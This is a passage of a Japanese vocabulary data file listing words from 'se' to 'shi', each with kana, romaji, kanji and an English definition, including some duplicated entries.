intercourse\"\n\t},\n\n\t{\n\t\t'kana':'セクション',\n\t\t'romaji':'sekusyon',\n\t\t'kanji':'',\n\t\t'definition':\"section\"\n\t},\n\n\t{\n\t\t'kana':'せっきょくてき',\n\t\t'romaji':'sekyokkuteki',\n\t\t'kanji':'積極的',\n\t\t'definition':\"positive;active;proactive\"\n\t},\n\n\t{\n\t\t'kana':'せまい',\n\t\t'romaji':'semai',\n\t\t'kanji':'狭い',\n\t\t'definition':\"narrow;confined;small\"\n\t},\n\n\t{\n\t\t'kana':'せまる',\n\t\t'romaji':'semaru',\n\t\t'kanji':'迫る',\n\t\t'definition':\"to draw near;to press\"\n\t},\n\n\t{\n\t\t'kana':'せめ',\n\t\t'romaji':'seme',\n\t\t'kanji':'攻め',\n\t\t'definition':\"attack;offence\"\n\t},\n\n\t{\n\t\t'kana':'せめ',\n\t\t'romaji':'seme',\n\t\t'kanji':'攻め',\n\t\t'definition':\"attack;offence\"\n\t},\n\n\t{\n\t\t'kana':'セメント',\n\t\t'romaji':'semento',\n\t\t'kanji':'',\n\t\t'definition':\"cement\"\n\t},\n\n\t{\n\t\t'kana':'せめる',\n\t\t'romaji':'semeru',\n\t\t'kanji':'責める',\n\t\t'definition':\"to condemn;to blame;to criticize\"\n\t},\n\n\t{\n\t\t'kana':'せめる',\n\t\t'romaji':'semeru',\n\t\t'kanji':'攻める',\n\t\t'definition':\"to attack;to assault\"\n\t},\n\n\t{\n\t\t'kana':'せん',\n\t\t'romaji':'sen',\n\t\t'kanji':'前',\n\t\t'definition':\"before\"\n\t},\n\n\t{\n\t\t'kana':'せん',\n\t\t'romaji':'sen',\n\t\t'kanji':'前',\n\t\t'definition':\"before\"\n\t},\n\n\t{\n\t\t'kana':'せん',\n\t\t'romaji':'sen',\n\t\t'kanji':'前',\n\t\t'definition':\"before\"\n\t},\n\n\t{\n\t\t'kana':'せん',\n\t\t'romaji':'sen',\n\t\t'kanji':'前',\n\t\t'definition':\"before\"\n\t},\n\n\t{\n\t\t'kana':'せん',\n\t\t'romaji':'sen',\n\t\t'kanji':'線',\n\t\t'definition':\"line (also telephone railway);wire;beam\"\n\t},\n\n\t{\n\t\t'kana':'せん',\n\t\t'romaji':'sen',\n\t\t'kanji':'仙',\n\t\t'definition':\"hermit;wizard\"\n\t},\n\n\t{\n\t\t'kana':'せん',\n\t\t'romaji':'sen',\n\t\t'kanji':'千',\n\t\t'definition':\"(num) 1 000;thousand\"\n\t},\n\n\t{\n\t\t'kana':'せなか',\n\t\t'romaji':'senaka',\n\t\t'kanji':'背中',\n\t\t'definition':\"back (of body)\"\n\t},\n\n\t{\n\t\t'kana':'せんちゃく',\n\t\t'romaji':'senchaku',\n\t\t'kanji':'先着',\n\t\t'definition':\"first arrival\"\n\t},\n\n\t{\n\t\t'kana':'センチ',\n\t\t'romaji':'senchi',\n\t\t'kanji':'',\n\t\t'definition':\"centimeter;centi-;10^-2\"\n\t},\n\n\t{\n\t\t'kana':'せんだい',\n\t\t'romaji':'sendai',\n\t\t'kanji':'先代',\n\t\t'definition':\"family predecessor;previous age;previous generation\"\n\t},\n\n\t{\n\t\t'kana':'せんだって',\n\t\t'romaji':'sendate',\n\t\t'kanji':'先だって',\n\t\t'definition':\"recently;the other day\"\n\t},\n\n\t{\n\t\t'kana':'せんでん',\n\t\t'romaji':'senden',\n\t\t'kanji':'宣伝',\n\t\t'definition':\"propaganda;publicity\"\n\t},\n\n\t{\n\t\t'kana':'せんげん',\n\t\t'romaji':'sengen',\n\t\t'kanji':'宣言',\n\t\t'definition':\"declaration;proclamation;announcement\"\n\t},\n\n\t{\n\t\t'kana':'せんい',\n\t\t'romaji':'seni',\n\t\t'kanji':'繊維',\n\t\t'definition':\"fibre;fiber;textile\"\n\t},\n\n\t{\n\t\t'kana':'せんじつ',\n\t\t'romaji':'senjitsu',\n\t\t'kanji':'先日',\n\t\t'definition':\"the other day;a few days ago\"\n\t},\n\n\t{\n\t\t'kana':'せんじゅつ',\n\t\t'romaji':'senjyutsu',\n\t\t'kanji':'戦術',\n\t\t'definition':\"tactics\"\n\t},\n\n\t{\n\t\t'kana':'せんこう',\n\t\t'romaji':'senkou',\n\t\t'kanji':'専攻',\n\t\t'definition':\"major subject;special study\"\n\t},\n\n\t{\n\t\t'kana':'せんこう',\n\t\t'romaji':'senkou',\n\t\t'kanji':'選考',\n\t\t'definition':\"selection;screening\"\n\t},\n\n\t{\n\t\t'kana':'せんこう',\n\t\t'romaji':'senkou',\n\t\t'kanji':'先行',\n\t\t'definition':\"preceding;going first\"\n\t},\n\n\t{\n\t\t'kana':'せんきょ',\n\t\t'romaji':'senkyo',\n\t\t'kanji':'選挙',\n\t\t'definition':\"election\"\n\t},\n\n\t{\n\t\t'kana':'せんきょう',\n\t\t'romaji':'senkyou',\n\t\t'kanji':'宣教',\n\t\t'definition':\"religious mission\"\n\t},\n\n\t{\n\t\t'kana':'せんめん',\n\t\t'romaji':'senmen',\n\t\t'kanji':'洗面',\n\t\t'definition':\"wash up (one's face);have a wash\"\n\t},\n\n\t{\n\t\t'kana':'せんもん',\n\t\t'romaji':'senmon',\n\t\t'kanji':'専門',\n\t\t'definition':\"speciality;subject of study;expert\"\n\t},\n\n\t{\n\t\t'kana':'せんにゅう',\n\t\t'romaji':'sennyuu',\n\t\t'kanji':'潜入',\n\t\t'definition':\"infiltration;sneaking in\"\n\t},\n\n\t{\n\t\t'kana':'せんぱい',\n\t\t'romaji':'senpai',\n\t\t'kanji':'先輩',\n\t\t'definition':\"senior (at work or school);superior;elder;older graduate;progenitor;old-timer\"\n\t},\n\n\t{\n\t\t'kana':'せんぱく',\n\t\t'romaji':'senpaku',\n\t\t'kanji':'船舶',\n\t\t'definition':\"ship\"\n\t},\n\n\t{\n\t\t'kana':'せんぷうき',\n\t\t'romaji':'senpuuki',\n\t\t'kanji':'扇風機',\n\t\t'definition':\"electric fan\"\n\t},\n\n\t{\n\t\t'kana':'せんろ',\n\t\t'romaji':'senro',\n\t\t'kanji':'線路',\n\t\t'definition':\"line;track;roadbed\"\n\t},\n\n\t{\n\t\t'kana':'せんりょく',\n\t\t'romaji':'senryoku',\n\t\t'kanji':'戦力',\n\t\t'definition':\"war potential\"\n\t},\n\n\t{\n\t\t'kana':'せんりょう',\n\t\t'romaji':'senryou',\n\t\t'kanji':'占領',\n\t\t'definition':\"occupation;capture;possession;have a room to oneself\"\n\t},\n\n\t{\n\t\t'kana':'せんさい',\n\t\t'romaji':'sensai',\n\t\t'kanji':'戦災',\n\t\t'definition':\"war damage\"\n\t},\n\n\t{\n\t\t'kana':'せんせい',\n\t\t'romaji':'sensei',\n\t\t'kanji':'専制',\n\t\t'definition':\"despotism;autocracy\"\n\t},\n\n\t{\n\t\t'kana':'せんせい',\n\t\t'romaji':'sensei',\n\t\t'kanji':'先生',\n\t\t'definition':\"teacher;master;doctor\"\n\t},\n\n\t{\n\t\t'kana':'せんせんげつ',\n\t\t'romaji':'sensengetsu',\n\t\t'kanji':'先先月',\n\t\t'definition':\"month before last\"\n\t},\n\n\t{\n\t\t'kana':'せんせんしゅう',\n\t\t'romaji':'sensenshuu',\n\t\t'kanji':'先先週',\n\t\t'definition':\"week before last\"\n\t},\n\n\t{\n\t\t'kana':'せんしゅ',\n\t\t'romaji':'senshu',\n\t\t'kanji':'選手',\n\t\t'definition':\"player (in game)\"\n\t},\n\n\t{\n\t\t'kana':'せんしゅう',\n\t\t'romaji':'senshuu',\n\t\t'kanji':'専修',\n\t\t'definition':\"specialization\"\n\t},\n\n\t{\n\t\t'kana':'せんそう',\n\t\t'romaji':'sensou',\n\t\t'kanji':'戦争',\n\t\t'definition':\"war\"\n\t},\n\n\t{\n\t\t'kana':'センス',\n\t\t'romaji':'sensu',\n\t\t'kanji':'',\n\t\t'definition':\"good sense (for music style tact etc.)\"\n\t},\n\n\t{\n\t\t'kana':'せんす',\n\t\t'romaji':'sensu',\n\t\t'kanji':'扇子',\n\t\t'definition':\"folding fan\"\n\t},\n\n\t{\n\t\t'kana':'せんすい',\n\t\t'romaji':'sensui',\n\t\t'kanji':'潜水',\n\t\t'definition':\"diving\"\n\t},\n\n\t{\n\t\t'kana':'センター',\n\t\t'romaji':'senta-',\n\t\t'kanji':'',\n\t\t'definition':\"a center\"\n\t},\n\n\t{\n\t\t'kana':'せんたく',\n\t\t'romaji':'sentaku',\n\t\t'kanji':'選択',\n\t\t'definition':\"selection;choice\"\n\t},\n\n\t{\n\t\t'kana':'せんたく',\n\t\t'romaji':'sentaku',\n\t\t'kanji':'洗濯',\n\t\t'definition':\"washing;laundry\"\n\t},\n\n\t{\n\t\t'kana':'せんたん',\n\t\t'romaji':'sentan',\n\t\t'kanji':'先端',\n\t\t'definition':\"pointed end;tip;fine point;spearhead;cusp;vanguard;advanced;leading edge\"\n\t},\n\n\t{\n\t\t'kana':'せんてんてき',\n\t\t'romaji':'sententeki',\n\t\t'kanji':'先天的',\n\t\t'definition':\"a priori;inborn;innate;inherent;congenital;hereditary\"\n\t},\n\n\t{\n\t\t'kana':'せんとう',\n\t\t'romaji':'sentou',\n\t\t'kanji':'先頭',\n\t\t'definition':\"head;lead;vanguard;first\"\n\t},\n\n\t{\n\t\t'kana':'せんとう',\n\t\t'romaji':'sentou',\n\t\t'kanji':'戦闘',\n\t\t'definition':\"battle;fight;combat\"\n\t},\n\n\t{\n\t\t'kana':'せんよう',\n\t\t'romaji':'senyou',\n\t\t'kanji':'専用',\n\t\t'definition':\"exclusive use;personal use\"\n\t},\n\n\t{\n\t\t'kana':'せんざい',\n\t\t'romaji':'senzai',\n\t\t'kanji':'洗剤',\n\t\t'definition':\"detergent;washing material\"\n\t},\n\n\t{\n\t\t'kana':'せんぞ',\n\t\t'romaji':'senzo',\n\t\t'kanji':'先祖',\n\t\t'definition':\"ancestor\"\n\t},\n\n\t{\n\t\t'kana':'セレモニー',\n\t\t'romaji':'seremoni-',\n\t\t'kanji':'',\n\t\t'definition':\"ceremony\"\n\t},\n\n\t{\n\t\t'kana':'せりふ',\n\t\t'romaji':'serifu',\n\t\t'kanji':'台詞',\n\t\t'definition':\"speech;words;one's lines;remarks\"\n\t},\n\n\t{\n\t\t'kana':'せろん',\n\t\t'romaji':'seron',\n\t\t'kanji':'世論',\n\t\t'definition':\"public opinion\"\n\t},\n\n\t{\n\t\t'kana':'せろん',\n\t\t'romaji':'seron',\n\t\t'kanji':'世論',\n\t\t'definition':\"public opinion\"\n\t},\n\n\t{\n\t\t'kana':'セール',\n\t\t'romaji':'se-ru',\n\t\t'kanji':'',\n\t\t'definition':\"sale\"\n\t},\n\n\t{\n\t\t'kana':'せっしょく',\n\t\t'romaji':'seshoku',\n\t\t'kanji':'接触',\n\t\t'definition':\"touch;contact\"\n\t},\n\n\t{\n\t\t'kana':'せっする',\n\t\t'romaji':'sessuru',\n\t\t'kanji':'接する',\n\t\t'definition':\"to come in contact with;to connect;to attend;to receive\"\n\t},\n\n\t{\n\t\t'kana':'セーター',\n\t\t'romaji':'se-ta-',\n\t\t'kanji':'',\n\t\t'definition':\"sweater;jumper\"\n\t},\n\n\t{\n\t\t'kana':'せたい',\n\t\t'romaji':'setai',\n\t\t'kanji':'世帯',\n\t\t'definition':\"household\"\n\t},\n\n\t{\n\t\t'kana':'セット',\n\t\t'romaji':'seto',\n\t\t'kanji':'',\n\t\t'definition':\"set\"\n\t},\n\n\t{\n\t\t'kana':'せともの',\n\t\t'romaji':'setomono',\n\t\t'kanji':'瀬戸物',\n\t\t'definition':\"earthenware;crockery;china\"\n\t},\n\n\t{\n\t\t'kana':'せつ',\n\t\t'romaji':'setsu',\n\t\t'kanji':'節',\n\t\t'definition':\"node;section;occasion;time\"\n\t},\n\n\t{\n\t\t'kana':'せつ',\n\t\t'romaji':'setsu',\n\t\t'kanji':'説',\n\t\t'definition':\"theory\"\n\t},\n\n\t{\n\t\t'kana':'せつ',\n\t\t'romaji':'setsu',\n\t\t'kanji':'節',\n\t\t'definition':\"node;section;occasion;time\"\n\t},\n\n\t{\n\t\t'kana':'せつび',\n\t\t'romaji':'setsubi',\n\t\t'kanji':'設備',\n\t\t'definition':\"equipment;device;facilities;installation\"\n\t},\n\n\t{\n\t\t'kana':'せつじつ',\n\t\t'romaji':'setsujitsu',\n\t\t'kanji':'切実',\n\t\t'definition':\"compelling;serious;severe;acute;earnest;pressing;urgent\"\n\t},\n\n\t{\n\t\t'kana':'せつめい',\n\t\t'romaji':'setsumei',\n\t\t'kanji':'説明',\n\t\t'definition':\"explanation;exposition\"\n\t},\n\n\t{\n\t\t'kana':'せつない',\n\t\t'romaji':'setsunai',\n\t\t'kanji':'切ない',\n\t\t'definition':\"painful;trying;oppressive;suffocating\"\n\t},\n\n\t{\n\t\t'kana':'せつりつ',\n\t\t'romaji':'setsuritsu',\n\t\t'kanji':'設立',\n\t\t'definition':\"establishment;foundation;institution\"\n\t},\n\n\t{\n\t\t'kana':'せつやく',\n\t\t'romaji':'setsuyaku',\n\t\t'kanji':'節約',\n\t\t'definition':\"economising;saving\"\n\t},\n\n\t{\n\t\t'kana':'せつぞく',\n\t\t'romaji':'setsuzoku',\n\t\t'kanji':'接続',\n\t\t'definition':\"connection;union;join;link\"\n\t},\n\n\t{\n\t\t'kana':'せつぞくし',\n\t\t'romaji':'setsuzokushi',\n\t\t'kanji':'接続詞',\n\t\t'definition':\"conjunction\"\n\t},\n\n\t{\n\t\t'kana':'せってい',\n\t\t'romaji':'settei',\n\t\t'kanji':'設定',\n\t\t'definition':\"establishment;creation\"\n\t},\n\n\t{\n\t\t'kana':'せっとく',\n\t\t'romaji':'settoku',\n\t\t'kanji':'説得',\n\t\t'definition':\"persuasion\"\n\t},\n\n\t{\n\t\t'kana':'せわ',\n\t\t'romaji':'sewa',\n\t\t'kanji':'世話',\n\t\t'definition':\"looking after;help;aid;assistance\"\n\t},\n\n\t{\n\t\t'kana':'しゃべる',\n\t\t'romaji':'shaberu',\n\t\t'kanji':'喋る',\n\t\t'definition':\"to talk;to chat;to chatter\"\n\t},\n\n\t{\n\t\t'kana':'しゃぶる',\n\t\t'romaji':'shaburu',\n\t\t'kanji':'',\n\t\t'definition':\"to suck;to chew\"\n\t},\n\n\t{\n\t\t'kana':'しゃがむ',\n\t\t'romaji':'shagamu',\n\t\t'kanji':'',\n\t\t'definition':\"to squat\"\n\t},\n\n\t{\n\t\t'kana':'しゃかい',\n\t\t'romaji':'shakai',\n\t\t'kanji':'社会',\n\t\t'definition':\"society;public\"\n\t},\n\n\t{\n\t\t'kana':'しゃかいかがく',\n\t\t'romaji':'shakaikagaku',\n\t\t'kanji':'社会科学',\n\t\t'definition':\"social science\"\n\t},\n\n\t{\n\t\t'kana':'しゃっきん',\n\t\t'romaji':'shakkin',\n\t\t'kanji':'借金',\n\t\t'definition':\"debt;loan;liabilities\"\n\t},\n\n\t{\n\t\t'kana':'しゃっくり',\n\t\t'romaji':'shakkuri',\n\t\t'kanji':'吃逆',\n\t\t'definition':\"hiccough;hiccup\"\n\t},\n\n\t{\n\t\t'kana':'しゃこ',\n\t\t'romaji':'shako',\n\t\t'kanji':'車庫',\n\t\t'definition':\"garage;car shed\"\n\t},\n\n\t{\n\t\t'kana':'しゃこう',\n\t\t'romaji':'shakou',\n\t\t'kanji':'社交',\n\t\t'definition':\"social life;social intercourse\"\n\t},\n\n\t{\n\t\t'kana':'しゃめん',\n\t\t'romaji':'shamen',\n\t\t'kanji':'斜面',\n\t\t'definition':\"slope;slanting surface;bevel\"\n\t},\n\n\t{\n\t\t'kana':'しゃらく',\n\t\t'romaji':'sharaku',\n\t\t'kanji':'洒落',\n\t\t'definition':\"frank;open-hearted\"\n\t},\n\n\t{\n\t\t'kana':'しゃれる',\n\t\t'romaji':'shareru',\n\t\t'kanji':'洒落る',\n\t\t'definition':\"to joke;to play on words;to dress stylishly\"\n\t},\n\n\t{\n\t\t'kana':'しゃりん',\n\t\t'romaji':'sharin',\n\t\t'kanji':'車輪',\n\t\t'definition':\"(car) wheel\"\n\t},\n\n\t{\n\t\t'kana':'しゃせい',\n\t\t'romaji':'shasei',\n\t\t'kanji':'写生',\n\t\t'definition':\"sketching;drawing from nature;portrayal;description\"\n\t},\n\n\t{\n\t\t'kana':'しゃせつ',\n\t\t'romaji':'shasetsu',\n\t\t'kanji':'社説',\n\t\t'definition':\"editorial;leading article\"\n\t},\n\n\t{\n\t\t'kana':'しゃしん',\n\t\t'romaji':'shashin',\n\t\t'kanji':'写真',\n\t\t'definition':\"photograph\"\n\t},\n\n\t{\n\t\t'kana':'しゃしょう',\n\t\t'romaji':'shashou',\n\t\t'kanji':'車掌',\n\t\t'definition':\"(train) conductor\"\n\t},\n\n\t{\n\t\t'kana':'しゃたく',\n\t\t'romaji':'shataku',\n\t\t'kanji':'社宅',\n\t\t'definition':\"company owned house\"\n\t},\n\n\t{\n\t\t'kana':'しゃぜつ',\n\t\t'romaji':'shazetsu',\n\t\t'kanji':'謝絶',\n\t\t'definition':\"refusal\"\n\t},\n\n\t{\n\t\t'kana':'し',\n\t\t'romaji':'shi',\n\t\t'kanji':'次',\n\t\t'definition':\"order;sequence;times;next;below\"\n\t},\n\n\t{\n\t\t'kana':'し',\n\t\t'romaji':'shi',\n\t\t'kanji':'',\n\t\t'definition':\"10^24 (kanji is JIS X 0212 kuten 4906);septillion (American);quadrillion (British)\"\n\t},\n\n\t{\n\t\t'kana':'し',\n\t\t'romaji':'shi',\n\t\t'kanji':'四',\n\t\t'definition':\"(num) four\"\n\t},\n\n\t{\n\t\t'kana':'し',\n\t\t'romaji':'shi',\n\t\t'kanji':'次',\n\t\t'definition':\"order;sequence;times;next;below\"\n\t},\n\n\t{\n\t\t'kana':'し',\n\t\t'romaji':'shi',\n\t\t'kanji':'詩',\n\t\t'definition':\"poem;verse of poetry\"\n\t},\n\n\t{\n\t\t'kana':'し',\n\t\t'romaji':'shi',\n\t\t'kanji':'四',\n\t\t'definition':\"(num) four\"\n\t},\n\n\t{\n\t\t'kana':'し',\n\t\t'romaji':'shi',\n\t\t'kanji':'',\n\t\t'definition':\"10^24 (kanji is JIS X 0212 kuten 4906);septillion (American);quadrillion (British)\"\n\t},\n\n\t{\n\t\t'kana':'し',\n\t\t'romaji':'shi',\n\t\t'kanji':'死',\n\t\t'definition':\"death;decease\"\n\t},\n\n\t{\n\t\t'kana':'しあがり',\n\t\t'romaji':'shiagari',\n\t\t'kanji':'仕上がり',\n\t\t'definition':\"finish;end;completion\"\n\t},\n\n\t{\n\t\t'kana':'しあがる',\n\t\t'romaji':'shiagaru',\n\t\t'kanji':'仕上がる',\n\t\t'definition':\"to be finished\"\n\t},\n\n\t{\n\t\t'kana':'しあげ',\n\t\t'romaji':'shiage',\n\t\t'kanji':'仕上げ',\n\t\t'definition':\"end;finishing touches;being finished\"\n\t},\n\n\t{\n\t\t'kana':'しあげる',\n\t\t'romaji':'shiageru',\n\t\t'kanji':'仕上げる',\n\t\t'definition':\"to finish up;to complete\"\n\t},\n\n\t{\n\t\t'kana':'しあい',\n\t\t'romaji':'shiai',\n\t\t'kanji':'試合',\n\t\t'definition':\"match;game;bout;contest\"\n\t},\n\n\t{\n\t\t'kana':'しあさって',\n\t\t'romaji':'shiasate',\n\t\t'kanji':'明々後日',\n\t\t'definition':\"two days after tomorrow\"\n\t},\n\n\t{\n\t\t'kana':'しあわせ',\n\t\t'romaji':'shiawase',\n\t\t'kanji':'幸せ',\n\t\t'definition':\"happiness;good fortune;luck;blessing\"\n\t},\n\n\t{\n\t\t'kana':'しば',\n\t\t'romaji':'shiba',\n\t\t'kanji':'芝',\n\t\t'definition':\"lawn;sod;turf\"\n\t},\n\n\t{\n\t\t'kana':'しばふ',\n\t\t'romaji':'shibafu',\n\t\t'kanji':'芝生',\n\t\t'definition':\"lawn\"\n\t},\n\n\t{\n\t\t'kana':'しばい',\n\t\t'romaji':'shibai',\n\t\t'kanji':'芝居',\n\t\t'definition':\"play;drama\"\n\t},\n\n\t{\n\t\t'kana':'しばらく',\n\t\t'romaji':'shibaraku',\n\t\t'kanji':'暫く',\n\t\t'definition':\"little while\"\n\t},\n\n\t{\n\t\t'kana':'しばる',\n\t\t'romaji':'shibaru',\n\t\t'kanji':'縛る',\n\t\t'definition':\"to tie;to bind\"\n\t},\n\n\t{\n\t\t'kana':'しばしば',\n\t\t'romaji':'shibashiba',\n\t\t'kanji':'屡',\n\t\t'definition':\"often;again and again;frequently\"\n\t},\n\n\t{\n\t\t'kana':'しびれる',\n\t\t'romaji':'shibireru',\n\t\t'kanji':'痺れる',\n\t\t'definition':\"to become numb;to go to sleep (i.e. a limb)\"\n\t},\n\n\t{\n\t\t'kana':'しぼむ',\n\t\t'romaji':'shibomu',\n\t\t'kanji':'萎む',\n\t\t'definition':\"to wither;to fade (away);to shrivel;to wilt\"\n\t},\n\n\t{\n\t\t'kana':'しぼる',\n\t\t'romaji':'shiboru',\n\t\t'kanji':'絞る',\n\t\t'definition':\"to press;to wring;to squeeze\"\n\t},\n\n\t{\n\t\t'kana':'しぼう',\n\t\t'romaji':'shibou',\n\t\t'kanji':'死亡',\n\t\t'definition':\"death;mortality\"\n\t},\n\n\t{\n\t\t'kana':'しぼう',\n\t\t'romaji':'shibou',\n\t\t'kanji':'志望',\n\t\t'definition':\"wish;desire;ambition\"\n\t},\n\n\t{\n\t\t'kana':'しぼう',\n\t\t'romaji':'shibou',\n\t\t'kanji':'脂肪',\n\t\t'definition':\"fat;grease;blubber\"\n\t},\n\n\t{\n\t\t'kana':'しぶい',\n\t\t'romaji':'shibui',\n\t\t'kanji':'渋い',\n\t\t'definition':\"1. tasteful (clothing);'cool';an aura of refined masculinity; 2. astringent;sullen;bitter (taste); 3. grim;quiet; 4. sober;stingy\"\n\t},\n\n\t{\n\t\t'kana':'しぶとい',\n\t\t'romaji':'shibutoi',\n\t\t'kanji':'',\n\t\t'definition':\"tenacious;stubborn\"\n\t},\n\n\t{\n\t\t'kana':'しぶつ',\n\t\t'romaji':'shibutsu',\n\t\t'kanji':'私物',\n\t\t'definition':\"private property;personal effects\"\n\t},\n\n\t{\n\t\t'kana':'しち',\n\t\t'romaji':'shichi',\n\t\t'kanji':'七',\n\t\t'definition':\"(num) seven\"\n\t},\n\n\t{\n\t\t'kana':'しち',\n\t\t'romaji':'shichi',\n\t\t'kanji':'七',\n\t\t'definition':\"(num) seven\"\n\t},\n\n\t{\n\t\t'kana':'しっちょう',\n\t\t'romaji':'shichou',\n\t\t'kanji':'失調',\n\t\t'definition':\"lack of harmony\"\n\t},\n\n\t{\n\t\t'kana':'しだい',\n\t\t'romaji':'shidai',\n\t\t'kanji':'次第',\n\t\t'definition':\"order;precedence;circumstances;immediate(ly);as soon as;dependent upon\"\n\t},\n\n\t{\n\t\t'kana':'しどう',\n\t\t'romaji':'shidou',\n\t\t'kanji':'指導',\n\t\t'definition':\"leadership;guidance;coaching\"\n\t},\n\n\t{\n\t\t'kana':'しがい',\n\t\t'romaji':'shigai',\n\t\t'kanji':'市街',\n\t\t'definition':\"urban areas;the streets;town;city\"\n\t},\n\n\t{\n\t\t'kana':'しげき',\n\t\t'romaji':'shigeki',\n\t\t'kanji':'刺激',\n\t\t'definition':\"stimulus;impetus;incentive;excitement;irritation;encouragement;motivation\"\n\t},\n\n\t{\n\t\t'kana':'しげん',\n\t\t'romaji':'shigen',\n\t\t'kanji':'資源',\n\t\t'definition':\"resources\"\n\t},\n\n\t{\n\t\t'kana':'しげる',\n\t\t'romaji':'shigeru',\n\t\t'kanji':'茂る',\n\t\t'definition':\"to grow thick;to luxuriate;to be luxurious\"\n\t},\n\n\t{\n\t\t'kana':'しごと',\n\t\t'romaji':'shigoto',\n\t\t'kanji':'仕事',\n\t\t'definition':\"work;occupation;employment\"\n\t},\n\n\t{\n\t\t'kana':'しぎょう',\n\t\t'romaji':'shigyou',\n\t\t'kanji':'施行',\n\t\t'definition':\"1. execution;enforcing;carrying out\"\n\t},\n\n\t{\n\t\t'kana':'しはい',\n\t\t'romaji':'shihai',\n\t\t'kanji':'支配',\n\t\t'definition':\"rule;control;direction\"\n\t},\n\n\t{\n\t\t'kana':'しはらい',\n\t\t'romaji':'shiharai',\n\t\t'kanji':'支払',\n\t\t'definition':\"payment\"\n\t},\n\n\t{\n\t\t'kana':'しはらう',\n\t\t'romaji':'shiharau',\n\t\t'kanji':'支払う',\n\t\t'definition':\"to pay\"\n\t},\n\n\t{\n\t\t'kana':'しはつ',\n\t\t'romaji':'shihatsu',\n\t\t'kanji':'始発',\n\t\t'definition':\"first train\"\n\t},\n\n\t{\n\t\t'kana':'しへい',\n\t\t'romaji':'shihei',\n\t\t'kanji':'紙幣',\n\t\t'definition':\"paper money;notes;bills\"\n\t},\n\n\t{\n\t\t'kana':'しほん',\n\t\t'romaji':'shihon',\n\t\t'kanji':'資本',\n\t\t'definition':\"funds;capital\"\n\t},\n\n\t{\n\t\t'kana':'しほう',\n\t\t'romaji':'shihou',\n\t\t'kanji':'司法',\n\t\t'definition':\"administration of justice\"\n\t},\n\n\t{\n\t\t'kana':'しいく',\n\t\t'romaji':'shiiku',\n\t\t'kanji':'飼育',\n\t\t'definition':\"breeding;raising;rearing\"\n\t},\n\n\t{\n\t\t'kana':'しいんと',\n\t\t'romaji':'shiinto',\n\t\t'kanji':'',\n\t\t'definition':\"silent (as the grave);(deathly) quiet\"\n\t},\n\n\t{\n\t\t'kana':'しいれる',\n\t\t'romaji':'shiireru',\n\t\t'kanji':'仕入れる',\n\t\t'definition':\"to lay in stock;to replenish stock;to procure\"\n\t},\n\n\t{\n\t\t'kana':'しいる',\n\t\t'romaji':'shiiru',\n\t\t'kanji':'強いる',\n\t\t'definition':\"to force;to compel;to coerce\"\n\t},\n\n\t{\n\t\t'kana':'しいて',\n\t\t'romaji':'shiite',\n\t\t'kanji':'強いて',\n\t\t'definition':\"by force\"\n\t},\n\n\t{\n\t\t'kana':'しじ',\n\t\t'romaji':'shiji',\n\t\t'kanji':'指示',\n\t\t'definition':\"indication;instruction;directions\"\n\t},\n\n\t{\n\t\t'kana':'しじ',\n\t\t'romaji':'shiji',\n\t\t'kanji':'支持',\n\t\t'definition':\"support;maintenance\"\n\t},\n\n\t{\n\t\t'kana':'しじん',\n\t\t'romaji':'shijin',\n\t\t'kanji':'詩人',\n\t\t'definition':\"poet\"\n\t},\n\n\t{\n\t\t'kana':'しじゅう',\n\t\t'romaji':'shijyuu',\n\t\t'kanji':'始終',\n\t\t'definition':\"continuously;from beginning to end\"\n\t},\n\n\t{\n\t\t'kana':'しか',\n\t\t'romaji':'shika',\n\t\t'kanji':'歯科',\n\t\t'definition':\"dentistry\"\n\t},\n\n\t{\n\t\t'kana':'しかい',\n\t\t'romaji':'shikai',\n\t\t'kanji':'司会',\n\t\t'definition':\"chairmanship\"\n\t},\n\n\t{\n\t\t'kana':'しかけ',\n\t\t'romaji':'shikake',\n\t\t'kanji':'仕掛け',\n\t\t'definition':\"device;trick;mechanism;gadget;(small) scale;half finished;commencement;set up;challenge\"\n\t},\n\n\t{\n\t\t'kana':'しかける',\n\t\t'romaji':'shikakeru',\n\t\t'kanji':'仕掛ける',\n\t\t'definition':\"to commence;to lay (mines);to set (traps);to wage (war);to challenge\"\n\t},\n\n\t{\n\t\t'kana':'しかく',\n\t\t'romaji':'shikaku',\n\t\t'kanji':'四角',\n\t\t'definition':\"square\"\n\t},\n\n\t{\n\t\t'kana':'しかく',\n\t\t'romaji':'shikaku',\n\t\t'kanji':'視覚',\n\t\t'definition':\"sense of sight;vision\"\n\t},\n\n\t{\n\t\t'kana':'しかく',\n\t\t'romaji':'shikaku',\n\t\t'kanji':'資格',\n\t\t'definition':\"qualifications;requirements;capabilities\"\n\t},\n\n\t{\n\t\t'kana':'しかくい',\n\t\t'romaji':'shikakui',\n\t\t'kanji':'四角い',\n\t\t'definition':\"square\"\n\t},\n\n\t{\n\t\t'kana':'しかも',\n\t\t'romaji':'shikamo',\n\t\t'kanji':'而も',\n\t\t'definition':\"moreover;furthermore;nevertheless;and yet\"\n\t},\n\n\t{\n\t\t'kana':'しかる',\n\t\t'romaji':'shikaru',\n\t\t'kanji':'叱る',\n\t\t'definition':\"to scold\"\n\t},\n\n\t{\n\t\t'kana':'しかし',\n\t\t'romaji':'shikashi',\n\t\t'kanji':'然し',\n\t\t'definition':\"however;but\"\n\t},\n\n\t{\n\t\t'kana':'しかしながら',\n\t\t'romaji':'shikashinagara',\n\t\t'kanji':'然しながら',\n\t\t'definition':\"nevertheless;however\"\n\t},\n\n\t{\n\t\t'kana':'しかた',\n\t\t'romaji':'shikata',\n\t\t'kanji':'仕方',\n\t\t'definition':\"way;method;means;resource;course\"\n\t},\n\n\t{\n\t\t'kana':'しかたがない',\n\t\t'romaji':'shikataganai',\n\t\t'kanji':'仕方がない',\n\t\t'definition':\"it can't be helped;it's inevitable;it's no use;can't stand it;being impatient;being annoyed\"\n\t},\n\n\t{\n\t\t'kana':'しけい',\n\t\t'romaji':'shikei',\n\t\t'kanji':'死刑',\n\t\t'definition':\"death penalty;capital punishment\"\n\t},\n\n\t{\n\t\t'kana':'しけん',\n\t\t'romaji':'shiken',\n\t\t'kanji':'試験',\n\t\t'definition':\"examination;test;study\"\n\t},\n\n\t{\n\t\t'kana':'しける',\n\t\t'romaji':'shikeru',\n\t\t'kanji':'湿気る',\n\t\t'definition':\"to be damp;to be 